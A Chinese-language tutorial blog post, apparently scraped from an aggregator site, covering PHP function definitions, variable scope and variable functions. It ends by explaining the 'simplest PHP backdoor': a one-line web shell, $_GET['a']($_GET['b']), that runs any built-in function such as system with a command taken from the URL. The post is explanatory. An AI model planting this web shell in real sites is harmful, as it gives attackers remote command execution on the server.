当前位置: 首页 > news >正文

PHP函数的定义与最简单后门原理

PHP函数的定义与最简单后门原理

文章目录

  • PHP函数的定义与最简单后门原理
      • 函数的定义
      • 函数调用的过程
      • 变量的范围
        • 局部变量
        • 全局变量
      • 可变函数
        • 动态函数
      • PHP 最简单后门原理分析

函数的定义

  • 使用function关键字来定义一个函数
  • 定义函数的函数名避开关键字
  • 形式参数是传递映射的
  • 实际参数是实际参与运算的
  • 返回值是自定义函数运行完成后返回的值默认是空(NULL)

函数调用的过程

  • 在调用函数时会在内存中开辟一段空间去执行函数

  • 函数调用结束之后会回到调用的位置继续向下执行

变量的范围

  • 局部变量

  • 全局变量

  • 超全局变量

局部变量

局部变量就是在函数内部定义的变量

除函数体内外部无法调用此变量

如果要想使用局部变量

  • 传参
  • 全局变量的声明
全局变量

全局变量无论在函数内部外部都可以被调用使用但是要在函数定义时使用global关键字去定义变量

可变函数

动态函数

可变函数也叫变量函数,动态函数,函数名可以动态设置和调用。

function test(){}$fun_name="test";
$fun_name();//这里就相当于test()调用了这个函数

直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。

function test(){}$fun_name=($_GET["fun_name"]);
$fu

PHP 最简单后门原理分析

通过定义动态函数来调用php内置函数

<pre>
<?php$fun_name = ($_GET['a']);var_dump( $_GET );$fun_name($_GET['b']);
?>

这是动态函数的创建然后我们看一下执行的数据我们去浏览器进行GET传参的形式访问
在这里插入图片描述
可以看到这是为_GET超全局变量数组创建了索引,并在url中对创建好的的下标索引进行赋值
通过这种方式一个下标接收调用php系统内置函数system另一个下标接收要执行的命令,并从而达到对系统的一个控制

经过分析从而得出结论

<?php
$_GET["a"]($_GET["b"]);
?>

在这里插入图片描述
通过黑客利用PHP动态函数和_GET传参的特性从而达到一个简单后门的部署

http://www.lryc.cn/news/207978.html

相关文章:

  • PlantSimulation访问本地Excel文件的方法
  • 使用微PE工具箱制作winU盘启动盘~重装系统
  • 漏洞复现-jquery-picture-cut 任意文件上传_(CVE-2018-9208)
  • Golang Websocket框架:实时通信的新选择
  • ExoPlayer架构详解与源码分析(7)——SampleQueue
  • 第二证券:基本面改善预期强化 机构聚焦科技成长
  • 大语言模型在天猫AI导购助理项目的实践!
  • 【STM32】GPIO控制LED(HAL库版)
  • 第27届亚洲国际动力传动与控制技术展览会盛大开幕,意大利国家展团闪耀回归
  • 永恒之蓝漏洞 ms17_010 详解
  • 汽车托运全流程介绍
  • 【API篇】八、Flink窗口函数
  • React JSX常用语法总结
  • DVWA-Cross Site Request Forgery (CSRF)
  • 浅谈安科瑞可编程电测仪表在老挝某项目的应用
  • Java项目源码合集
  • Python学习笔记--生成器
  • 【Python学习】—Python基础语法(五)
  • 【js】JavaScript清除所有(多个)定时器的方法:
  • java实现周易64卦并返回对应的卦象(含百度百科链接)
  • # 算法与程序的灵魂
  • 2023-10-21 美团2024秋招后端开发岗笔试题
  • 汽车托运是怎样收费
  • 使用docker-compose私有化部署 GitLab
  • Vue项目引入百度统计的正确操作步骤,亲测有效!
  • Keras中model.evaluate() 返回的是 loss value 和 metrics values
  • CSRF跨域请求伪造
  • LeetCode 1465. 切割后面积最大的蛋糕:纵横分别处理
  • YTM32的增强型定时器eTMR外设模块详解
  • 40.查找练习题(王道2023数据结构第7章)